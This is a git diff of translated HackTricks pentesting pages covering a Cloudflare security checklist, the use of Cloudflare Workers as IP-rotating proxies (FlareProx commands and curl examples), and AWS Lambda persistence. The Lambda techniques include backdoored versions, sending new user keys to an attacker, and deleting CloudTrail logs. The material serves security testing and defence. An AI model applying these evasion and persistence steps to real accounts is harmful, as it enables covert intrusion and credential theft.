mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-services/README.md',
This commit is contained in:
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare 계정에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 분석합니다:
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
|
||||
각 항목을 다음과 함께 검토:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -18,7 +18,7 @@ cloudflare-domains.md
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
|
||||
각 항목을 다음과 함께 검토:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -30,31 +30,31 @@ _I couldn't find anything to check for a config security review._
|
||||
|
||||
## Pages
|
||||
|
||||
각 Cloudflare Pages에 대해:
|
||||
On each Cloudflare's page:
|
||||
|
||||
- [ ] **`Build log`**에서 **민감한 정보**가 있는지 확인하세요.
|
||||
- [ ] Pages에 연결된 **Github repository**에서 **민감한 정보**가 있는지 확인하세요.
|
||||
- [ ] **workflow command injection** 또는 `pull_request_target` compromise를 통한 Github repo 탈취 가능성을 확인하세요. 자세한 정보는 [**Github Security page**](../github-security/index.html)를 참조하세요.
|
||||
- [ ] `/fuctions` 디렉터리(있는 경우)에서 **취약한 함수들**을 확인하고, `_redirects` 파일(있는 경우)의 **redirects**와 `_headers` 파일(있는 경우)의 **misconfigured headers**를 확인하세요.
|
||||
- [ ] 코드에 접근할 수 있다면 **blackbox** 또는 **whitebox** 방식으로 웹 페이지의 **취약점(vulnerabilities)**을 확인하세요.
|
||||
- [ ] 각 페이지 상세 `/<page_id>/pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하세요.
|
||||
- [ ] 상세 페이지에서 **build command**와 **root directory**도 페이지를 탈취할 수 있는 **potential injections** 여부를 확인하세요.
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
|
||||
## **Workers**
|
||||
|
||||
각 Cloudflare Workers에 대해 확인하세요:
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] 트리거: Worker를 무엇이 트리거하나요? **사용자**가 Worker에 의해 **사용될 데이터**를 전송할 수 있나요?
|
||||
- [ ] **`Settings`**에서 **`Variables`**에 **민감한 정보**가 포함되어 있는지 확인하세요.
|
||||
- [ ] Worker의 코드를 검사하고, 특히 사용자가 입력을 제어할 수 있는 부분에서 **취약점**을 찾으세요.
|
||||
- 제어 가능한 페이지를 반환하는 SSRF 여부를 확인하세요.
|
||||
- svg 이미지 내부에서 JS를 실행하는 XSS 여부를 확인하세요.
|
||||
- Worker가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, Worker가 입력에서 얻은 정보를 저장하는 R2 bucket과 상호작용할 수 있습니다. 이 경우 Worker가 R2 bucket에 대해 어떤 권한을 가지고 있는지, 그리고 사용자 입력을 통해 어떻게 남용될 수 있는지 확인해야 합니다.
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
|
||||
> [!WARNING]
|
||||
> 기본적으로 **Worker에게 URL이 부여**되어 `<worker-name>.<account>.workers.dev`와 같은 형태가 됩니다. 사용자가 이를 **서브도메인**으로 설정할 수 있지만, 해당 **원래 URL**을 알고 있다면 항상 그 URL로 접근할 수 있습니다.
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
실제 Workers를 pass-through proxy(IP 회전, FireProx 스타일)로 악용하는 방법은 다음을 확인하세요:
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
@@ -62,7 +62,7 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
|
||||
## R2
|
||||
|
||||
각 R2 버킷에서 확인할 항목:
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
|
||||
@@ -76,8 +76,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] 가능하면 **`Security Insights`** 스캔과 **`Infrastructure`** 스캔을 실행하세요. 이 스캔들은 보안 관점에서 흥미로운 정보를 강조합니다.
|
||||
- [ ] 이 정보를 보안 오구성 및 흥미로운 정보 확인을 위해 검토하세요.
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -94,12 +94,12 @@ cloudflare-zero-trust-network.md
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] 리디렉트의 **expressions**와 **requirements**가 타당한지 확인하세요.
|
||||
- [ ] 또한 흥미로운 정보를 담고 있는 **민감한 숨겨진 엔드포인트**가 있는지 확인하세요.
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] **notifications**를 확인하세요. 보안을 위해 다음 알림들을 권장합니다:
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
@@ -119,19 +119,19 @@ cloudflare-zero-trust-network.md
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] 모든 **destinations**를 확인하세요. webhook URL에 **민감한 정보**(basic http auth)가 포함될 수 있습니다. 또한 webhook URL이 **HTTPS**를 사용하는지 확인하세요.
|
||||
- [ ] 추가 확인으로 제3자에게 **cloudflare 알림을 가장(impersonate)**해보면, 어쩌면 **위험한 무언가를 주입(inject)**할 수 있는지 확인할 수 있습니다.
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] **`Billing` -> `Payment info`**에서 신용카드의 **마지막 4자리**, **만료일**, **청구 주소**를 볼 수 있습니다.
|
||||
- [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **plan type**을 확인할 수 있습니다.
|
||||
- [ ] **`Members`**에서 계정의 모든 멤버와 그들의 **role**을 볼 수 있습니다. 플랜이 Enterprise가 아닌 경우에는 Administrator와 Super Administrator의 2개 역할만 존재합니다. 그러나 사용된 **plan이 Enterprise**인 경우, 최소 권한 원칙을 따르기 위해 [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)를 사용할 수 있습니다.
|
||||
- 따라서 가능하면 **Enterprise plan** 사용을 권장합니다.
|
||||
- [ ] Members에서 어떤 멤버가 **2FA가 활성화**되어 있는지 확인할 수 있습니다. **모든** 사용자가 활성화되어야 합니다.
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
|
||||
> [!NOTE]
|
||||
> 다행히도 역할 **`Administrator`**는 멤버십을 관리할 권한을 제공하지 않습니다(권한 상승이나 새 멤버 초대 불가).
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
|
||||
@@ -1,31 +1,31 @@
|
||||
# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
|
||||
# Cloudflare Workers를 패스스루 프록시로 악용하기 (IP 회전, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers는 업스트림 대상 URL을 클라이언트가 제공하는 투명한 HTTP 통과형 프록시로 배포될 수 있습니다. 요청은 Cloudflare 네트워크에서 egress되어 대상은 클라이언트 대신 Cloudflare IP를 관찰합니다. 이는 AWS API Gateway의 잘 알려진 FireProx 기법을 모방한 것이지만 Cloudflare Workers를 사용합니다.
|
||||
Cloudflare Workers는 업스트림 대상 URL을 클라이언트가 제공하는 투명한 HTTP 패스스루 프록시로 배포될 수 있습니다. 요청은 Cloudflare 네트워크에서 egress되므로 대상은 클라이언트 대신 Cloudflare IP를 관찰합니다. 이는 AWS API Gateway에서 잘 알려진 FireProx 기법과 유사하지만 Cloudflare Workers를 사용합니다.
|
||||
|
||||
### 주요 기능
|
||||
- 모든 HTTP 메서드 지원 (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- 대상은 쿼리 매개변수(?url=...), 헤더(X-Target-URL)로 제공되거나 경로에 인코딩될 수 있음(예: /https://target)
|
||||
- 헤더와 바디는 필요에 따라 hop-by-hop/헤더 필터링과 함께 프록시됨
|
||||
- 상태 코드와 대부분의 헤더를 보존하면서 응답이 중계됨
|
||||
- (옵션) Worker가 사용자 제어 헤더에서 X-Forwarded-For를 설정하면 X-Forwarded-For 스푸핑 가능
|
||||
- 여러 Worker 엔드포인트를 배포하고 요청을 분산시켜 매우 빠르고 쉽게 회전(로테이션) 가능
|
||||
- 대상은 쿼리 매개변수(?url=...), 헤더(X-Target-URL), 또는 경로 인코딩(예: /https://target)으로 제공 가능
|
||||
- 필요에 따라 hop-by-hop/header filtering을 적용하면서 헤더와 바디를 프록시
|
||||
- 상태 코드와 대부분의 헤더를 보존하여 응답을 클라이언트로 전달
|
||||
- Worker가 사용자 제어 헤더에서 설정하는 경우 X-Forwarded-For 스푸핑 선택 가능
|
||||
- 여러 Worker 엔드포인트를 배포하고 요청을 분산(fanning out)하여 매우 빠르고 쉬운 회전 가능
|
||||
|
||||
### 작동 방식 (흐름)
|
||||
1) 클라이언트가 Worker URL(`<name>.<account>.workers.dev` 또는 커스텀 도메인 경로)로 HTTP 요청을 전송합니다.
|
||||
2) Worker는 쿼리 매개변수(?url=...), X-Target-URL 헤더 또는 구현된 경우 경로 세그먼트에서 대상을 추출합니다.
|
||||
3) Worker는 문제를 일으킬 수 있는 헤더를 필터링하면서 들어온 메서드, 헤더 및 바디를 지정된 업스트림 URL로 전달합니다.
|
||||
4) 업스트림 응답은 Cloudflare를 통해 클라이언트로 스트리밍되어 되돌아가며, 오리진은 Cloudflare egress IP를 보게 됩니다.
|
||||
1) 클라이언트가 Worker URL(`<name>.<account>.workers.dev` 또는 커스텀 도메인 라우트)로 HTTP 요청을 보냅니다.
|
||||
2) Worker는 쿼리 매개변수(?url=...), X-Target-URL 헤더, 또는 구현된 경우 경로 세그먼트에서 대상을 추출합니다.
|
||||
3) Worker는 문제를 일으킬 수 있는 헤더를 필터링하면서 들어온 메서드, 헤더, 바디를 지정된 업스트림 URL로 전달합니다.
|
||||
4) 업스트림 응답은 Cloudflare를 통해 클라이언트로 스트리밍되어 발신지는 Cloudflare egress IP를 보게 됩니다.
|
||||
|
||||
### Worker 구현 예
|
||||
### Worker 구현 예시
|
||||
- 쿼리 파라미터, 헤더 또는 경로에서 대상 URL을 읽음
|
||||
- 안전한 서브셋의 헤더를 복사하고 원본 메서드/바디를 전달
|
||||
- 옵션으로 사용자 제어 헤더(X-My-X-Forwarded-For) 또는 랜덤 IP를 사용해 X-Forwarded-For 설정
|
||||
- 관대 한 CORS를 추가하고 preflight를 처리
|
||||
- 안전한 헤더 하위 집합을 복사하고 원본 메서드/바디를 전달
|
||||
- 선택적으로 사용자 제어 헤더(X-My-X-Forwarded-For)나 랜덤 IP로 X-Forwarded-For 설정
|
||||
- 관대한 CORS 추가 및 preflight 처리
|
||||
|
||||
<details>
|
||||
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
|
||||
<summary>패스스루 프록시용 예제 Worker (JavaScript)</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
@@ -133,12 +133,12 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
|
||||
```
|
||||
</details>
|
||||
|
||||
### FlareProx로 배포 및 회전 자동화
|
||||
### FlareProx를 사용한 배포 및 회전 자동화
|
||||
|
||||
FlareProx는 Cloudflare API를 사용하여 여러 Worker endpoints를 배포하고 그 사이를 순환시키는 Python 도구입니다. 이를 통해 Cloudflare의 네트워크에서 FireProx와 유사한 IP rotation을 제공합니다.
|
||||
FlareProx는 Cloudflare API를 사용해 여러 Worker endpoints를 배포하고 그 사이를 회전하는 Python 도구입니다. 이를 통해 Cloudflare의 네트워크에서 FireProx-like한 IP 회전을 제공합니다.
|
||||
|
||||
Setup
|
||||
1) "Edit Cloudflare Workers" 템플릿을 사용해 Cloudflare API Token을 생성하고 대시보드에서 Account ID를 가져오세요.
|
||||
설정
|
||||
1) 대시보드에서 “Edit Cloudflare Workers” 템플릿을 사용하여 Cloudflare API Token을 생성하고 Account ID를 확인합니다.
|
||||
2) FlareProx 구성:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
@@ -154,13 +154,13 @@ pip install -r requirements.txt
|
||||
}
|
||||
}
|
||||
```
|
||||
**CLI usage**
|
||||
**CLI 사용법**
|
||||
|
||||
- N개의 Worker proxies 생성:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- 엔드포인트 목록:
|
||||
- 엔드포인트 나열:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
@@ -168,12 +168,12 @@ python3 flareprox.py list
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- 모든 endpoints 삭제:
|
||||
- 모든 엔드포인트 삭제:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Worker를 통한 트래픽 라우팅**
|
||||
- 쿼리 매개변수 형식:
|
||||
- 쿼리 파라미터 형식:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
@@ -204,17 +204,17 @@ curl -X DELETE \
|
||||
```
|
||||
**`X-Forwarded-For` 제어**
|
||||
|
||||
Worker가 `X-My-X-Forwarded-For`를 처리한다면, upstream `X-Forwarded-For` 값을 조작할 수 있습니다:
|
||||
Worker가 `X-My-X-Forwarded-For`를 존중하면, 업스트림의 `X-Forwarded-For` 값을 조작할 수 있습니다:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**프로그래밍 방식으로 사용**
|
||||
**프로그래밍 방식 사용**
|
||||
|
||||
FlareProx 라이브러리를 사용해 엔드포인트를 생성/목록화/테스트하고 Python에서 요청을 라우팅합니다.
|
||||
FlareProx 라이브러리를 사용하여 endpoints를 생성/나열/테스트하고 Python에서 요청을 라우팅하세요.
|
||||
|
||||
<details>
|
||||
<summary>Python 예제: 임의의 Worker 엔드포인트를 통해 POST 전송</summary>
|
||||
<summary>Python 예시: 임의의 Worker endpoint를 통해 POST 전송</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
@@ -269,13 +269,13 @@ print(f"Request error: {e}")
|
||||
|
||||
**Burp/Scanner 통합**
|
||||
- 도구(예: Burp Suite)를 Worker URL로 지정하세요.
|
||||
- 실제 upstream을 ?url= 또는 X-Target-URL로 제공하세요.
|
||||
- HTTP semantics (methods/headers/body)는 유지되며 소스 IP는 Cloudflare 뒤에 가려집니다.
|
||||
- 실제 업스트림은 ?url= 또는 X-Target-URL을 사용해 제공하세요.
|
||||
- HTTP 의미론(메서드/헤더/바디)은 유지되며 소스 IP는 Cloudflare 뒤에 가려집니다.
|
||||
|
||||
**운영 관련 주의사항 및 제한**
|
||||
- Cloudflare Workers Free plan은 계정당 하루 약 100,000개의 요청을 허용합니다; 필요하면 트래픽 분산을 위해 여러 엔드포인트를 사용하세요.
|
||||
- Workers는 Cloudflare의 네트워크에서 동작합니다; 많은 대상은 Cloudflare IPs/ASN만 보게 되어 단순한 IP 허용/차단 목록이나 지리적 휴리스틱을 우회할 수 있습니다.
|
||||
- 책임감 있게, 권한이 있는 경우에만 사용하세요. ToS와 robots.txt를 준수하세요.
|
||||
**운영상의 주의사항 및 제한**
|
||||
- Cloudflare Workers Free plan은 계정당 하루 약 100,000 요청을 허용합니다; 필요하면 트래픽 분산을 위해 여러 엔드포인트를 사용하세요.
|
||||
- Workers는 Cloudflare의 네트워크에서 실행됩니다; 많은 대상은 Cloudflare IPs/ASN만 보게 되어 단순한 IP 허용/차단 목록이나 지리적 휴리스틱을 우회할 수 있습니다.
|
||||
- 책임 있게, 권한이 있는 경우에만 사용하세요. ToS와 robots.txt를 준수하세요.
|
||||
|
||||
## 참고자료
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Lambda Persistence
|
||||
# AWS - Lambda 지속성
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,68 +10,68 @@
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Layer Persistence
|
||||
### Lambda Layer 지속성
|
||||
|
||||
Lambda가 실행될 때 은밀하게 **introduce/backdoor a layer to execute arbitrary code** 하는 레이어를 추가(백도어)할 수 있습니다:
|
||||
Lambda가 실행될 때 은밀하게 임의 코드를 실행하기 위해 **layer를 도입/백도어화**할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Extension Persistence
|
||||
### Lambda Extension 지속성
|
||||
|
||||
Lambda Layers를 악용하면 extensions를 악용해 Lambda에 persistence를 확보하고 요청을 훔치거나 수정할 수도 있습니다.
|
||||
Lambda Layers를 악용하면 extensions를 악용해 Lambda 내부에 지속성을 확보하고 요청을 탈취·변조할 수도 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via resource policies
|
||||
### 리소스 정책을 통한 방법
|
||||
|
||||
외부 계정에 대해 invoke나 update code 같은 다양한 Lambda 액션에 대한 접근을 부여할 수 있습니다:
|
||||
외부 계정에 invoke나 update code와 같은 다양한 Lambda 액션에 대한 접근 권한을 부여할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
### 버전, 별칭 및 가중치
|
||||
|
||||
Lambda는 각기 다른 코드가 들어갈 수 있는 **여러 버전**을 가질 수 있습니다.
|
||||
그런 다음 서로 다른 버전을 가리키는 **여러 aliases**를 만들고 각 alias에 **weights**를 설정할 수 있습니다.
|
||||
이렇게 하면 공격자는 **backdoored version 1**과 **version 2 with only the legit code**를 만들고 요청의 1%에서만 **execute the version 1** 하도록 설정해 은밀하게 활동할 수 있습니다.
|
||||
Lambda는 각각 다른 코드가 포함된 **여러 버전**을 가질 수 있습니다.
|
||||
그런 다음, Lambda의 서로 다른 버전마다 **서로 다른 aliases를 생성**하고 각 alias에 서로 다른 가중치를 설정할 수 있습니다.
|
||||
이렇게 하면 공격자는 **백도어가 심어진 버전 1**과 **정상 코드만 있는 버전 2**를 만들고, 은밀하게 유지하기 위해 요청의 **1%에서만 버전 1을 실행**하도록 설정할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Lambda의 원본 코드를 복사합니다.
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish하고 **deploy that version**을 $LATEST로 합니다.
|
||||
1. 관련된 API Gateway를 호출해 코드를 실행합니다.
|
||||
3. **Create a new version with the original code**, Publish하고 해당 **version**을 $LATEST로 deploy합니다.
|
||||
1. 이렇게 하면 백도어가 포함된 코드는 이전 버전에 숨겨집니다.
|
||||
4. API Gateway로 이동해 백도어 버전의 Lambda를 실행할 **새 POST 메서드**(또는 다른 메서드)를 생성합니다: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. ARN의 끝 :1은 **함수의 버전**을 나타냅니다(이 시나리오에서 버전 1이 백도어 버전입니다).
|
||||
2. **원본 코드에 백도어를 심은 새 버전(또는 악성 코드만 포함된 버전)**을 생성합니다. 퍼블리시하고 그 **버전을 $LATEST에 배포**합니다.
|
||||
1. Lambda와 연결된 API Gateway를 호출해 코드를 실행합니다.
|
||||
3. **원본 코드로 새 버전을 생성**, 퍼블리시하고 그 **버전을 $LATEST에 배포**합니다.
|
||||
1. 이렇게 하면 백도어가 심긴 코드는 이전 버전에 숨겨집니다.
|
||||
4. API Gateway로 가서 백도어된 버전의 Lambda를 호출할 **새 POST 메서드 생성**(또는 다른 메서드 선택): `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. ARN의 마지막 :1은 **함수의 버전을 나타냅니다**(이 시나리오에서 버전 1이 백도어가 심긴 버전입니다).
|
||||
5. 생성한 POST 메서드를 선택하고 Actions에서 **`Deploy API`**를 선택합니다.
|
||||
6. 이제 POST로 함수를 호출하면 **당신의 Backdoor**가 호출됩니다.
|
||||
6. 이제 POST로 함수를 호출하면 **백도어가 실행**됩니다.
|
||||
|
||||
### Cron/Event actuator
|
||||
### Cron/Event 작동기
|
||||
|
||||
무언가가 발생하거나 일정 시간이 지나면 **Lambda 함수를 실행할 수 있다는 점**은 persistence를 얻고 탐지를 피하기 위한 일반적인 방법으로 Lambda를 유용하게 만듭니다.
|
||||
아래는 AWS에서의 존재를 더 은밀하게 하기 위해 Lambda를 생성할 때의 아이디어들입니다.
|
||||
무언가 발생했을 때 또는 일정 시간이 지났을 때 **Lambda 함수를 실행할 수 있다는 사실**은 Lambda가 지속성을 확보하고 탐지를 회피하기 위한 흔하고 편리한 수단이 되게 합니다.
|
||||
다음은 Lambda를 생성해 AWS 내에서의 **존재를 보다 은밀하게 유지**할 수 있는 몇 가지 아이디어입니다.
|
||||
|
||||
- 새 사용자가 생성될 때마다 Lambda가 새 사용자 키를 생성하고 공격자에게 전송합니다.
|
||||
- 새 역할이 생성될 때마다 Lambda가 손상된 사용자에게 assume role 권한을 부여합니다.
|
||||
- 새 CloudTrail 로그가 생성될 때마다 이를 삭제/변경합니다
|
||||
- 새로운 사용자가 생성될 때마다 Lambda가 새로운 사용자 키를 생성해서 공격자에게 전송합니다.
|
||||
- 새로운 역할이 생성될 때마다 Lambda가 손상된 사용자들에게 assume role 권한을 부여합니다.
|
||||
- 새로운 CloudTrail 로그가 생성될 때마다 해당 로그를 삭제/변경합니다
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
환경 변수 `AWS_LAMBDA_EXEC_WRAPPER`를 악용하여 runtime/handler가 시작되기 전에 공격자가 제어하는 wrapper 스크립트를 실행하세요. Wrapper를 Lambda Layer로 `/opt/bin/htwrap`에 전달하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 뒤 함수를 호출합니다. Wrapper는 함수 런타임 프로세스 내에서 실행되며 함수 실행 역할(role)을 상속하고, 마지막에 실제 런타임을 `exec`하여 원래 핸들러가 정상적으로 실행되도록 합니다.
|
||||
`AWS_LAMBDA_EXEC_WRAPPER` 환경 변수를 악용해 runtime/handler가 시작되기 전에 공격자가 제어하는 래퍼 스크립트를 실행합니다. 래퍼를 Lambda Layer로 `/opt/bin/htwrap`에 전달하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 뒤 함수를 호출합니다. 래퍼는 함수 런타임 프로세스 내에서 실행되고 함수 실행 역할을 상속하며, 마지막에 실제 런타임을 `exec`하여 원래 핸들러가 정상적으로 실행되도록 합니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
### AWS - Lambda Function URL 공개 노출
|
||||
|
||||
Lambda의 asynchronous destinations와 Recursion 설정을 함께 악용해 외부 스케줄러(EventBridge, cron 등) 없이 함수가 스스로 지속적으로 재호출되게 만들 수 있습니다. 기본적으로 Lambda는 재귀 루프를 종료하지만, recursion 설정을 Allow로 변경하면 이를 다시 활성화할 수 있습니다. Destinations는 async invoke에 대해 서비스 측에서 전달되므로, 단 한 번의 seed invoke만으로 코드 없는 은밀한 heartbeat/backdoor 채널을 만들 수 있습니다. 원치 않는 소음을 줄이려면 reserved concurrency로 쓰로틀링할 수 있습니다.
|
||||
Lambda 비동기 destinations와 Recursion 구성을 함께 악용하여 외부 스케줄러(EventBridge, cron 등) 없이 함수가 스스로 지속적으로 재호출되도록 만들 수 있습니다. 기본적으로 Lambda는 재귀 루프를 종료하지만 recursion 구성을 Allow로 설정하면 이를 다시 활성화합니다. Destinations는 비동기 호출에 대해 서비스 측에서 전달되므로, 단 한 번의 시드 호출로 코드 없는 은밀한 하트비트/백도어 채널을 만들 수 있습니다. 선택적으로 reserved concurrency로 소음을 낮출 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,19 +79,19 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
공격자 로직을 담은 숨겨진 Lambda 버전을 생성하고 `lambda add-permission`의 `--qualifier` 파라미터를 사용해 해당 특정 버전(또는 alias)에 리소스 기반 정책을 적용하세요. 공격자 주체에 대해 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에 대해 `lambda:InvokeFunction`만 부여합니다. 함수 이름이나 기본 alias를 통한 정상 호출은 영향을 받지 않으며, 공격자는 백도어가 있는 버전 ARN을 직접 호출할 수 있습니다.
|
||||
공격자 로직을 담은 숨겨진 Lambda 버전을 생성하고 `lambda add-permission`의 `--qualifier` 파라미터를 사용해 리소스 기반 정책을 그 특정 버전(또는 alias)에 범위 지정합니다. 공격자 주체에게는 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에 대해 `lambda:InvokeFunction`만 부여합니다. 함수 이름이나 기본 alias를 통한 정상 호출은 영향을 받지 않는 반면, 공격자는 백도어가 심긴 버전의 ARN을 직접 호출할 수 있습니다.
|
||||
|
||||
이는 Function URL을 노출하는 것보다 더 은밀하며 기본 트래픽 alias를 변경하지 않습니다.
|
||||
이는 Function URL을 노출하는 것보다 더 은밀하며 기본 트래픽 alias를 변경하지도 않습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
### AWS Lambda 런타임 고정
|
||||
|
||||
